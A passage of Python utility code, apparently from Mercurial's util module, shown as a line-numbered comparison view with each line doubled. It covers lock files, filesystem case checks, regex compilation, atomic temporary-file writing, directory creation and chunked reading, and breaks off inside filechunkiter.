1725 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1726 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1726 ld = os.open(pathname, flags)
1727 ld = os.open(pathname, flags)
1727 os.write(ld, info)
1728 os.write(ld, info)
1728 os.close(ld)
1729 os.close(ld)
1729
1730
1730 def readlock(pathname):
1731 def readlock(pathname):
1731 try:
1732 try:
1732 return os.readlink(pathname)
1733 return os.readlink(pathname)
1733 except OSError as why:
1734 except OSError as why:
1734 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1735 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1735 raise
1736 raise
1736 except AttributeError: # no symlink in os
1737 except AttributeError: # no symlink in os
1737 pass
1738 pass
1738 fp = posixfile(pathname, 'rb')
1739 fp = posixfile(pathname, 'rb')
1739 r = fp.read()
1740 r = fp.read()
1740 fp.close()
1741 fp.close()
1741 return r
1742 return r
1742
1743
1743 def fstat(fp):
1744 def fstat(fp):
1744 '''stat file object that may not have fileno method.'''
1745 '''stat file object that may not have fileno method.'''
1745 try:
1746 try:
1746 return os.fstat(fp.fileno())
1747 return os.fstat(fp.fileno())
1747 except AttributeError:
1748 except AttributeError:
1748 return os.stat(fp.name)
1749 return os.stat(fp.name)
1749
1750
1750 # File system features
1751 # File system features
1751
1752
1752 def fscasesensitive(path):
1753 def fscasesensitive(path):
1753 """
1754 """
1754 Return true if the given path is on a case-sensitive filesystem
1755 Return true if the given path is on a case-sensitive filesystem
1755
1756
1756 Requires a path (like /foo/.hg) ending with a foldable final
1757 Requires a path (like /foo/.hg) ending with a foldable final
1757 directory component.
1758 directory component.
1758 """
1759 """
1759 s1 = os.lstat(path)
1760 s1 = os.lstat(path)
1760 d, b = os.path.split(path)
1761 d, b = os.path.split(path)
1761 b2 = b.upper()
1762 b2 = b.upper()
1762 if b == b2:
1763 if b == b2:
1763 b2 = b.lower()
1764 b2 = b.lower()
1764 if b == b2:
1765 if b == b2:
1765 return True # no evidence against case sensitivity
1766 return True # no evidence against case sensitivity
1766 p2 = os.path.join(d, b2)
1767 p2 = os.path.join(d, b2)
1767 try:
1768 try:
1768 s2 = os.lstat(p2)
1769 s2 = os.lstat(p2)
1769 if s2 == s1:
1770 if s2 == s1:
1770 return False
1771 return False
1771 return True
1772 return True
1772 except OSError:
1773 except OSError:
1773 return True
1774 return True
1774
1775
1775 try:
1776 try:
1776 import re2
1777 import re2
1777 _re2 = None
1778 _re2 = None
1778 except ImportError:
1779 except ImportError:
1779 _re2 = False
1780 _re2 = False
1780
1781
1781 class _re(object):
1782 class _re(object):
1782 def _checkre2(self):
1783 def _checkre2(self):
1783 global _re2
1784 global _re2
1784 try:
1785 try:
1785 # check if match works, see issue3964
1786 # check if match works, see issue3964
1786 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1787 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1787 except ImportError:
1788 except ImportError:
1788 _re2 = False
1789 _re2 = False
1789
1790
1790 def compile(self, pat, flags=0):
1791 def compile(self, pat, flags=0):
1791 '''Compile a regular expression, using re2 if possible
1792 '''Compile a regular expression, using re2 if possible
1792
1793
1793 For best performance, use only re2-compatible regexp features. The
1794 For best performance, use only re2-compatible regexp features. The
1794 only flags from the re module that are re2-compatible are
1795 only flags from the re module that are re2-compatible are
1795 IGNORECASE and MULTILINE.'''
1796 IGNORECASE and MULTILINE.'''
1796 if _re2 is None:
1797 if _re2 is None:
1797 self._checkre2()
1798 self._checkre2()
1798 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1799 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1799 if flags & remod.IGNORECASE:
1800 if flags & remod.IGNORECASE:
1800 pat = '(?i)' + pat
1801 pat = '(?i)' + pat
1801 if flags & remod.MULTILINE:
1802 if flags & remod.MULTILINE:
1802 pat = '(?m)' + pat
1803 pat = '(?m)' + pat
1803 try:
1804 try:
1804 return re2.compile(pat)
1805 return re2.compile(pat)
1805 except re2.error:
1806 except re2.error:
1806 pass
1807 pass
1807 return remod.compile(pat, flags)
1808 return remod.compile(pat, flags)
1808
1809
1809 @propertycache
1810 @propertycache
1810 def escape(self):
1811 def escape(self):
1811 '''Return the version of escape corresponding to self.compile.
1812 '''Return the version of escape corresponding to self.compile.
1812
1813
1813 This is imperfect because whether re2 or re is used for a particular
1814 This is imperfect because whether re2 or re is used for a particular
1814 function depends on the flags, etc, but it's the best we can do.
1815 function depends on the flags, etc, but it's the best we can do.
1815 '''
1816 '''
1816 global _re2
1817 global _re2
1817 if _re2 is None:
1818 if _re2 is None:
1818 self._checkre2()
1819 self._checkre2()
1819 if _re2:
1820 if _re2:
1820 return re2.escape
1821 return re2.escape
1821 else:
1822 else:
1822 return remod.escape
1823 return remod.escape
1823
1824
1824 re = _re()
1825 re = _re()
1825
1826
1826 _fspathcache = {}
1827 _fspathcache = {}
1827 def fspath(name, root):
1828 def fspath(name, root):
1828 '''Get name in the case stored in the filesystem
1829 '''Get name in the case stored in the filesystem
1829
1830
1830 The name should be relative to root, and be normcase-ed for efficiency.
1831 The name should be relative to root, and be normcase-ed for efficiency.
1831
1832
1832 Note that this function is unnecessary, and should not be
1833 Note that this function is unnecessary, and should not be
1833 called, for case-sensitive filesystems (simply because it's expensive).
1834 called, for case-sensitive filesystems (simply because it's expensive).
1834
1835
1835 The root should be normcase-ed, too.
1836 The root should be normcase-ed, too.
1836 '''
1837 '''
1837 def _makefspathcacheentry(dir):
1838 def _makefspathcacheentry(dir):
1838 return dict((normcase(n), n) for n in os.listdir(dir))
1839 return dict((normcase(n), n) for n in os.listdir(dir))
1839
1840
1840 seps = pycompat.ossep
1841 seps = pycompat.ossep
1841 if pycompat.osaltsep:
1842 if pycompat.osaltsep:
1842 seps = seps + pycompat.osaltsep
1843 seps = seps + pycompat.osaltsep
1843 # Protect backslashes. This gets silly very quickly.
1844 # Protect backslashes. This gets silly very quickly.
1844 seps.replace('\\','\\\\')
1845 seps.replace('\\','\\\\')
1845 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1846 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1846 dir = os.path.normpath(root)
1847 dir = os.path.normpath(root)
1847 result = []
1848 result = []
1848 for part, sep in pattern.findall(name):
1849 for part, sep in pattern.findall(name):
1849 if sep:
1850 if sep:
1850 result.append(sep)
1851 result.append(sep)
1851 continue
1852 continue
1852
1853
1853 if dir not in _fspathcache:
1854 if dir not in _fspathcache:
1854 _fspathcache[dir] = _makefspathcacheentry(dir)
1855 _fspathcache[dir] = _makefspathcacheentry(dir)
1855 contents = _fspathcache[dir]
1856 contents = _fspathcache[dir]
1856
1857
1857 found = contents.get(part)
1858 found = contents.get(part)
1858 if not found:
1859 if not found:
1859 # retry "once per directory" per "dirstate.walk" which
1860 # retry "once per directory" per "dirstate.walk" which
1860 # may take place for each patches of "hg qpush", for example
1861 # may take place for each patches of "hg qpush", for example
1861 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1862 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1862 found = contents.get(part)
1863 found = contents.get(part)
1863
1864
1864 result.append(found or part)
1865 result.append(found or part)
1865 dir = os.path.join(dir, part)
1866 dir = os.path.join(dir, part)
1866
1867
1867 return ''.join(result)
1868 return ''.join(result)
1868
1869
1869 def checknlink(testfile):
1870 def checknlink(testfile):
1870 '''check whether hardlink count reporting works properly'''
1871 '''check whether hardlink count reporting works properly'''
1871
1872
1872 # testfile may be open, so we need a separate file for checking to
1873 # testfile may be open, so we need a separate file for checking to
1873 # work around issue2543 (or testfile may get lost on Samba shares)
1874 # work around issue2543 (or testfile may get lost on Samba shares)
1874 f1, f2, fp = None, None, None
1875 f1, f2, fp = None, None, None
1875 try:
1876 try:
1876 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1877 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1877 suffix='1~', dir=os.path.dirname(testfile))
1878 suffix='1~', dir=os.path.dirname(testfile))
1878 os.close(fd)
1879 os.close(fd)
1879 f2 = '%s2~' % f1[:-2]
1880 f2 = '%s2~' % f1[:-2]
1880
1881
1881 oslink(f1, f2)
1882 oslink(f1, f2)
1882 # nlinks() may behave differently for files on Windows shares if
1883 # nlinks() may behave differently for files on Windows shares if
1883 # the file is open.
1884 # the file is open.
1884 fp = posixfile(f2)
1885 fp = posixfile(f2)
1885 return nlinks(f2) > 1
1886 return nlinks(f2) > 1
1886 except OSError:
1887 except OSError:
1887 return False
1888 return False
1888 finally:
1889 finally:
1889 if fp is not None:
1890 if fp is not None:
1890 fp.close()
1891 fp.close()
1891 for f in (f1, f2):
1892 for f in (f1, f2):
1892 try:
1893 try:
1893 if f is not None:
1894 if f is not None:
1894 os.unlink(f)
1895 os.unlink(f)
1895 except OSError:
1896 except OSError:
1896 pass
1897 pass
1897
1898
1898 def endswithsep(path):
1899 def endswithsep(path):
1899 '''Check path ends with os.sep or os.altsep.'''
1900 '''Check path ends with os.sep or os.altsep.'''
1900 return (path.endswith(pycompat.ossep)
1901 return (path.endswith(pycompat.ossep)
1901 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1902 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1902
1903
1903 def splitpath(path):
1904 def splitpath(path):
1904 '''Split path by os.sep.
1905 '''Split path by os.sep.
1905 Note that this function does not use os.altsep because this is
1906 Note that this function does not use os.altsep because this is
1906 an alternative of simple "xxx.split(os.sep)".
1907 an alternative of simple "xxx.split(os.sep)".
1907 It is recommended to use os.path.normpath() before using this
1908 It is recommended to use os.path.normpath() before using this
1908 function if need.'''
1909 function if need.'''
1909 return path.split(pycompat.ossep)
1910 return path.split(pycompat.ossep)
1910
1911
1911 def mktempcopy(name, emptyok=False, createmode=None):
1912 def mktempcopy(name, emptyok=False, createmode=None):
1912 """Create a temporary file with the same contents from name
1913 """Create a temporary file with the same contents from name
1913
1914
1914 The permission bits are copied from the original file.
1915 The permission bits are copied from the original file.
1915
1916
1916 If the temporary file is going to be truncated immediately, you
1917 If the temporary file is going to be truncated immediately, you
1917 can use emptyok=True as an optimization.
1918 can use emptyok=True as an optimization.
1918
1919
1919 Returns the name of the temporary file.
1920 Returns the name of the temporary file.
1920 """
1921 """
1921 d, fn = os.path.split(name)
1922 d, fn = os.path.split(name)
1922 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1923 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1923 os.close(fd)
1924 os.close(fd)
1924 # Temporary files are created with mode 0600, which is usually not
1925 # Temporary files are created with mode 0600, which is usually not
1925 # what we want. If the original file already exists, just copy
1926 # what we want. If the original file already exists, just copy
1926 # its mode. Otherwise, manually obey umask.
1927 # its mode. Otherwise, manually obey umask.
1927 copymode(name, temp, createmode)
1928 copymode(name, temp, createmode)
1928 if emptyok:
1929 if emptyok:
1929 return temp
1930 return temp
1930 try:
1931 try:
1931 try:
1932 try:
1932 ifp = posixfile(name, "rb")
1933 ifp = posixfile(name, "rb")
1933 except IOError as inst:
1934 except IOError as inst:
1934 if inst.errno == errno.ENOENT:
1935 if inst.errno == errno.ENOENT:
1935 return temp
1936 return temp
1936 if not getattr(inst, 'filename', None):
1937 if not getattr(inst, 'filename', None):
1937 inst.filename = name
1938 inst.filename = name
1938 raise
1939 raise
1939 ofp = posixfile(temp, "wb")
1940 ofp = posixfile(temp, "wb")
1940 for chunk in filechunkiter(ifp):
1941 for chunk in filechunkiter(ifp):
1941 ofp.write(chunk)
1942 ofp.write(chunk)
1942 ifp.close()
1943 ifp.close()
1943 ofp.close()
1944 ofp.close()
1944 except: # re-raises
1945 except: # re-raises
1945 try:
1946 try:
1946 os.unlink(temp)
1947 os.unlink(temp)
1947 except OSError:
1948 except OSError:
1948 pass
1949 pass
1949 raise
1950 raise
1950 return temp
1951 return temp
1951
1952
1952 class filestat(object):
1953 class filestat(object):
1953 """help to exactly detect change of a file
1954 """help to exactly detect change of a file
1954
1955
1955 'stat' attribute is result of 'os.stat()' if specified 'path'
1956 'stat' attribute is result of 'os.stat()' if specified 'path'
1956 exists. Otherwise, it is None. This can avoid preparative
1957 exists. Otherwise, it is None. This can avoid preparative
1957 'exists()' examination on client side of this class.
1958 'exists()' examination on client side of this class.
1958 """
1959 """
1959 def __init__(self, stat):
1960 def __init__(self, stat):
1960 self.stat = stat
1961 self.stat = stat
1961
1962
1962 @classmethod
1963 @classmethod
1963 def frompath(cls, path):
1964 def frompath(cls, path):
1964 try:
1965 try:
1965 stat = os.stat(path)
1966 stat = os.stat(path)
1966 except OSError as err:
1967 except OSError as err:
1967 if err.errno != errno.ENOENT:
1968 if err.errno != errno.ENOENT:
1968 raise
1969 raise
1969 stat = None
1970 stat = None
1970 return cls(stat)
1971 return cls(stat)
1971
1972
1972 @classmethod
1973 @classmethod
1973 def fromfp(cls, fp):
1974 def fromfp(cls, fp):
1974 stat = os.fstat(fp.fileno())
1975 stat = os.fstat(fp.fileno())
1975 return cls(stat)
1976 return cls(stat)
1976
1977
1977 __hash__ = object.__hash__
1978 __hash__ = object.__hash__
1978
1979
1979 def __eq__(self, old):
1980 def __eq__(self, old):
1980 try:
1981 try:
1981 # if ambiguity between stat of new and old file is
1982 # if ambiguity between stat of new and old file is
1982 # avoided, comparison of size, ctime and mtime is enough
1983 # avoided, comparison of size, ctime and mtime is enough
1983 # to exactly detect change of a file regardless of platform
1984 # to exactly detect change of a file regardless of platform
1984 return (self.stat.st_size == old.stat.st_size and
1985 return (self.stat.st_size == old.stat.st_size and
1985 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1986 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1986 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1987 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1987 except AttributeError:
1988 except AttributeError:
1988 pass
1989 pass
1989 try:
1990 try:
1990 return self.stat is None and old.stat is None
1991 return self.stat is None and old.stat is None
1991 except AttributeError:
1992 except AttributeError:
1992 return False
1993 return False
1993
1994
1994 def isambig(self, old):
1995 def isambig(self, old):
1995 """Examine whether new (= self) stat is ambiguous against old one
1996 """Examine whether new (= self) stat is ambiguous against old one
1996
1997
1997 "S[N]" below means stat of a file at N-th change:
1998 "S[N]" below means stat of a file at N-th change:
1998
1999
1999 - S[n-1].ctime < S[n].ctime: can detect change of a file
2000 - S[n-1].ctime < S[n].ctime: can detect change of a file
2000 - S[n-1].ctime == S[n].ctime
2001 - S[n-1].ctime == S[n].ctime
2001 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2002 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2002 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2003 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2003 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2004 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2004 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2005 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2005
2006
2006 Case (*2) above means that a file was changed twice or more at
2007 Case (*2) above means that a file was changed twice or more at
2007 same time in sec (= S[n-1].ctime), and comparison of timestamp
2008 same time in sec (= S[n-1].ctime), and comparison of timestamp
2008 is ambiguous.
2009 is ambiguous.
2009
2010
2010 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2011 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2011 timestamp is ambiguous".
2012 timestamp is ambiguous".
2012
2013
2013 But advancing mtime only in case (*2) doesn't work as
2014 But advancing mtime only in case (*2) doesn't work as
2014 expected, because naturally advanced S[n].mtime in case (*1)
2015 expected, because naturally advanced S[n].mtime in case (*1)
2015 might be equal to manually advanced S[n-1 or earlier].mtime.
2016 might be equal to manually advanced S[n-1 or earlier].mtime.
2016
2017
2017 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2018 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2018 treated as ambiguous regardless of mtime, to avoid overlooking
2019 treated as ambiguous regardless of mtime, to avoid overlooking
2019 by confliction between such mtime.
2020 by confliction between such mtime.
2020
2021
2021 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2022 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2022 S[n].mtime", even if size of a file isn't changed.
2023 S[n].mtime", even if size of a file isn't changed.
2023 """
2024 """
2024 try:
2025 try:
2025 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2026 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2026 except AttributeError:
2027 except AttributeError:
2027 return False
2028 return False
2028
2029
2029 def avoidambig(self, path, old):
2030 def avoidambig(self, path, old):
2030 """Change file stat of specified path to avoid ambiguity
2031 """Change file stat of specified path to avoid ambiguity
2031
2032
2032 'old' should be previous filestat of 'path'.
2033 'old' should be previous filestat of 'path'.
2033
2034
2034 This skips avoiding ambiguity, if a process doesn't have
2035 This skips avoiding ambiguity, if a process doesn't have
2035 appropriate privileges for 'path'. This returns False in this
2036 appropriate privileges for 'path'. This returns False in this
2036 case.
2037 case.
2037
2038
2038 Otherwise, this returns True, as "ambiguity is avoided".
2039 Otherwise, this returns True, as "ambiguity is avoided".
2039 """
2040 """
2040 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2041 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2041 try:
2042 try:
2042 os.utime(path, (advanced, advanced))
2043 os.utime(path, (advanced, advanced))
2043 except OSError as inst:
2044 except OSError as inst:
2044 if inst.errno == errno.EPERM:
2045 if inst.errno == errno.EPERM:
2045 # utime() on the file created by another user causes EPERM,
2046 # utime() on the file created by another user causes EPERM,
2046 # if a process doesn't have appropriate privileges
2047 # if a process doesn't have appropriate privileges
2047 return False
2048 return False
2048 raise
2049 raise
2049 return True
2050 return True
2050
2051
2051 def __ne__(self, other):
2052 def __ne__(self, other):
2052 return not self == other
2053 return not self == other
2053
2054
2054 class atomictempfile(object):
2055 class atomictempfile(object):
2055 '''writable file object that atomically updates a file
2056 '''writable file object that atomically updates a file
2056
2057
2057 All writes will go to a temporary copy of the original file. Call
2058 All writes will go to a temporary copy of the original file. Call
2058 close() when you are done writing, and atomictempfile will rename
2059 close() when you are done writing, and atomictempfile will rename
2059 the temporary copy to the original name, making the changes
2060 the temporary copy to the original name, making the changes
2060 visible. If the object is destroyed without being closed, all your
2061 visible. If the object is destroyed without being closed, all your
2061 writes are discarded.
2062 writes are discarded.
2062
2063
2063 checkambig argument of constructor is used with filestat, and is
2064 checkambig argument of constructor is used with filestat, and is
2064 useful only if target file is guarded by any lock (e.g. repo.lock
2065 useful only if target file is guarded by any lock (e.g. repo.lock
2065 or repo.wlock).
2066 or repo.wlock).
2066 '''
2067 '''
2067 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2068 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2068 self.__name = name # permanent name
2069 self.__name = name # permanent name
2069 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2070 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2070 createmode=createmode)
2071 createmode=createmode)
2071 self._fp = posixfile(self._tempname, mode)
2072 self._fp = posixfile(self._tempname, mode)
2072 self._checkambig = checkambig
2073 self._checkambig = checkambig
2073
2074
2074 # delegated methods
2075 # delegated methods
2075 self.read = self._fp.read
2076 self.read = self._fp.read
2076 self.write = self._fp.write
2077 self.write = self._fp.write
2077 self.seek = self._fp.seek
2078 self.seek = self._fp.seek
2078 self.tell = self._fp.tell
2079 self.tell = self._fp.tell
2079 self.fileno = self._fp.fileno
2080 self.fileno = self._fp.fileno
2080
2081
2081 def close(self):
2082 def close(self):
2082 if not self._fp.closed:
2083 if not self._fp.closed:
2083 self._fp.close()
2084 self._fp.close()
2084 filename = localpath(self.__name)
2085 filename = localpath(self.__name)
2085 oldstat = self._checkambig and filestat.frompath(filename)
2086 oldstat = self._checkambig and filestat.frompath(filename)
2086 if oldstat and oldstat.stat:
2087 if oldstat and oldstat.stat:
2087 rename(self._tempname, filename)
2088 rename(self._tempname, filename)
2088 newstat = filestat.frompath(filename)
2089 newstat = filestat.frompath(filename)
2089 if newstat.isambig(oldstat):
2090 if newstat.isambig(oldstat):
2090 # stat of changed file is ambiguous to original one
2091 # stat of changed file is ambiguous to original one
2091 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2092 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2092 os.utime(filename, (advanced, advanced))
2093 os.utime(filename, (advanced, advanced))
2093 else:
2094 else:
2094 rename(self._tempname, filename)
2095 rename(self._tempname, filename)
2095
2096
2096 def discard(self):
2097 def discard(self):
2097 if not self._fp.closed:
2098 if not self._fp.closed:
2098 try:
2099 try:
2099 os.unlink(self._tempname)
2100 os.unlink(self._tempname)
2100 except OSError:
2101 except OSError:
2101 pass
2102 pass
2102 self._fp.close()
2103 self._fp.close()
2103
2104
2104 def __del__(self):
2105 def __del__(self):
2105 if safehasattr(self, '_fp'): # constructor actually did something
2106 if safehasattr(self, '_fp'): # constructor actually did something
2106 self.discard()
2107 self.discard()
2107
2108
2108 def __enter__(self):
2109 def __enter__(self):
2109 return self
2110 return self
2110
2111
2111 def __exit__(self, exctype, excvalue, traceback):
2112 def __exit__(self, exctype, excvalue, traceback):
2112 if exctype is not None:
2113 if exctype is not None:
2113 self.discard()
2114 self.discard()
2114 else:
2115 else:
2115 self.close()
2116 self.close()
2116
2117
2117 def unlinkpath(f, ignoremissing=False, rmdir=True):
2118 def unlinkpath(f, ignoremissing=False, rmdir=True):
2118 """unlink and remove the directory if it is empty"""
2119 """unlink and remove the directory if it is empty"""
2119 if ignoremissing:
2120 if ignoremissing:
2120 tryunlink(f)
2121 tryunlink(f)
2121 else:
2122 else:
2122 unlink(f)
2123 unlink(f)
2123 if rmdir:
2124 if rmdir:
2124 # try removing directories that might now be empty
2125 # try removing directories that might now be empty
2125 try:
2126 try:
2126 removedirs(os.path.dirname(f))
2127 removedirs(os.path.dirname(f))
2127 except OSError:
2128 except OSError:
2128 pass
2129 pass
2129
2130
2130 def tryunlink(f):
2131 def tryunlink(f):
2131 """Attempt to remove a file, ignoring ENOENT errors."""
2132 """Attempt to remove a file, ignoring ENOENT errors."""
2132 try:
2133 try:
2133 unlink(f)
2134 unlink(f)
2134 except OSError as e:
2135 except OSError as e:
2135 if e.errno != errno.ENOENT:
2136 if e.errno != errno.ENOENT:
2136 raise
2137 raise
2137
2138
2138 def makedirs(name, mode=None, notindexed=False):
2139 def makedirs(name, mode=None, notindexed=False):
2139 """recursive directory creation with parent mode inheritance
2140 """recursive directory creation with parent mode inheritance
2140
2141
2141 Newly created directories are marked as "not to be indexed by
2142 Newly created directories are marked as "not to be indexed by
2142 the content indexing service", if ``notindexed`` is specified
2143 the content indexing service", if ``notindexed`` is specified
2143 for "write" mode access.
2144 for "write" mode access.
2144 """
2145 """
2145 try:
2146 try:
2146 makedir(name, notindexed)
2147 makedir(name, notindexed)
2147 except OSError as err:
2148 except OSError as err:
2148 if err.errno == errno.EEXIST:
2149 if err.errno == errno.EEXIST:
2149 return
2150 return
2150 if err.errno != errno.ENOENT or not name:
2151 if err.errno != errno.ENOENT or not name:
2151 raise
2152 raise
2152 parent = os.path.dirname(os.path.abspath(name))
2153 parent = os.path.dirname(os.path.abspath(name))
2153 if parent == name:
2154 if parent == name:
2154 raise
2155 raise
2155 makedirs(parent, mode, notindexed)
2156 makedirs(parent, mode, notindexed)
2156 try:
2157 try:
2157 makedir(name, notindexed)
2158 makedir(name, notindexed)
2158 except OSError as err:
2159 except OSError as err:
2159 # Catch EEXIST to handle races
2160 # Catch EEXIST to handle races
2160 if err.errno == errno.EEXIST:
2161 if err.errno == errno.EEXIST:
2161 return
2162 return
2162 raise
2163 raise
2163 if mode is not None:
2164 if mode is not None:
2164 os.chmod(name, mode)
2165 os.chmod(name, mode)
2165
2166
2166 def readfile(path):
2167 def readfile(path):
2167 with open(path, 'rb') as fp:
2168 with open(path, 'rb') as fp:
2168 return fp.read()
2169 return fp.read()
2169
2170
2170 def writefile(path, text):
2171 def writefile(path, text):
2171 with open(path, 'wb') as fp:
2172 with open(path, 'wb') as fp:
2172 fp.write(text)
2173 fp.write(text)
2173
2174
2174 def appendfile(path, text):
2175 def appendfile(path, text):
2175 with open(path, 'ab') as fp:
2176 with open(path, 'ab') as fp:
2176 fp.write(text)
2177 fp.write(text)
2177
2178
2178 class chunkbuffer(object):
2179 class chunkbuffer(object):
2179 """Allow arbitrary sized chunks of data to be efficiently read from an
2180 """Allow arbitrary sized chunks of data to be efficiently read from an
2180 iterator over chunks of arbitrary size."""
2181 iterator over chunks of arbitrary size."""
2181
2182
2182 def __init__(self, in_iter):
2183 def __init__(self, in_iter):
2183 """in_iter is the iterator that's iterating over the input chunks."""
2184 """in_iter is the iterator that's iterating over the input chunks."""
2184 def splitbig(chunks):
2185 def splitbig(chunks):
2185 for chunk in chunks:
2186 for chunk in chunks:
2186 if len(chunk) > 2**20:
2187 if len(chunk) > 2**20:
2187 pos = 0
2188 pos = 0
2188 while pos < len(chunk):
2189 while pos < len(chunk):
2189 end = pos + 2 ** 18
2190 end = pos + 2 ** 18
2190 yield chunk[pos:end]
2191 yield chunk[pos:end]
2191 pos = end
2192 pos = end
2192 else:
2193 else:
2193 yield chunk
2194 yield chunk
2194 self.iter = splitbig(in_iter)
2195 self.iter = splitbig(in_iter)
2195 self._queue = collections.deque()
2196 self._queue = collections.deque()
2196 self._chunkoffset = 0
2197 self._chunkoffset = 0
2197
2198
2198 def read(self, l=None):
2199 def read(self, l=None):
2199 """Read L bytes of data from the iterator of chunks of data.
2200 """Read L bytes of data from the iterator of chunks of data.
2200 Returns less than L bytes if the iterator runs dry.
2201 Returns less than L bytes if the iterator runs dry.
2201
2202
2202 If size parameter is omitted, read everything"""
2203 If size parameter is omitted, read everything"""
2203 if l is None:
2204 if l is None:
2204 return ''.join(self.iter)
2205 return ''.join(self.iter)
2205
2206
2206 left = l
2207 left = l
2207 buf = []
2208 buf = []
2208 queue = self._queue
2209 queue = self._queue
2209 while left > 0:
2210 while left > 0:
2210 # refill the queue
2211 # refill the queue
2211 if not queue:
2212 if not queue:
2212 target = 2**18
2213 target = 2**18
2213 for chunk in self.iter:
2214 for chunk in self.iter:
2214 queue.append(chunk)
2215 queue.append(chunk)
2215 target -= len(chunk)
2216 target -= len(chunk)
2216 if target <= 0:
2217 if target <= 0:
2217 break
2218 break
2218 if not queue:
2219 if not queue:
2219 break
2220 break
2220
2221
2221 # The easy way to do this would be to queue.popleft(), modify the
2222 # The easy way to do this would be to queue.popleft(), modify the
2222 # chunk (if necessary), then queue.appendleft(). However, for cases
2223 # chunk (if necessary), then queue.appendleft(). However, for cases
2223 # where we read partial chunk content, this incurs 2 dequeue
2224 # where we read partial chunk content, this incurs 2 dequeue
2224 # mutations and creates a new str for the remaining chunk in the
2225 # mutations and creates a new str for the remaining chunk in the
2225 # queue. Our code below avoids this overhead.
2226 # queue. Our code below avoids this overhead.
2226
2227
2227 chunk = queue[0]
2228 chunk = queue[0]
2228 chunkl = len(chunk)
2229 chunkl = len(chunk)
2229 offset = self._chunkoffset
2230 offset = self._chunkoffset
2230
2231
2231 # Use full chunk.
2232 # Use full chunk.
2232 if offset == 0 and left >= chunkl:
2233 if offset == 0 and left >= chunkl:
2233 left -= chunkl
2234 left -= chunkl
2234 queue.popleft()
2235 queue.popleft()
2235 buf.append(chunk)
2236 buf.append(chunk)
2236 # self._chunkoffset remains at 0.
2237 # self._chunkoffset remains at 0.
2237 continue
2238 continue
2238
2239
2239 chunkremaining = chunkl - offset
2240 chunkremaining = chunkl - offset
2240
2241
2241 # Use all of unconsumed part of chunk.
2242 # Use all of unconsumed part of chunk.
2242 if left >= chunkremaining:
2243 if left >= chunkremaining:
2243 left -= chunkremaining
2244 left -= chunkremaining
2244 queue.popleft()
2245 queue.popleft()
2245 # offset == 0 is enabled by block above, so this won't merely
2246 # offset == 0 is enabled by block above, so this won't merely
2246 # copy via ``chunk[0:]``.
2247 # copy via ``chunk[0:]``.
2247 buf.append(chunk[offset:])
2248 buf.append(chunk[offset:])
2248 self._chunkoffset = 0
2249 self._chunkoffset = 0
2249
2250
2250 # Partial chunk needed.
2251 # Partial chunk needed.
2251 else:
2252 else:
2252 buf.append(chunk[offset:offset + left])
2253 buf.append(chunk[offset:offset + left])
2253 self._chunkoffset += left
2254 self._chunkoffset += left
2254 left -= chunkremaining
2255 left -= chunkremaining
2255
2256
2256 return ''.join(buf)
2257 return ''.join(buf)
2257
2258
2258 def filechunkiter(f, size=131072, limit=None):
2259 def filechunkiter(f, size=131072, limit=None):
2259 """Create a generator that produces the data in the file size
2260 """Create a generator that produces the data in the file size
2260 (default 131072) bytes at a time, up to optional limit (default is
2261 (default 131072) bytes at a time, up to optional limit (default is
2261 to read all data). Chunks may be less than size bytes if the
2262 to read all data). Chunks may be less than size bytes if the
2262 chunk is the last chunk in the file, or the file is a socket or
2263 chunk is the last chunk in the file, or the file is a socket or
2263 some other type of file that sometimes reads less data than is
2264 some other type of file that sometimes reads less data than is
2264 requested."""
2265 requested."""
2265 assert size >= 0
2266 assert size >= 0
2266 assert limit is None or limit >= 0
2267 assert limit is None or limit >= 0
2267 while True:
2268 while True:
2268 if limit is None:
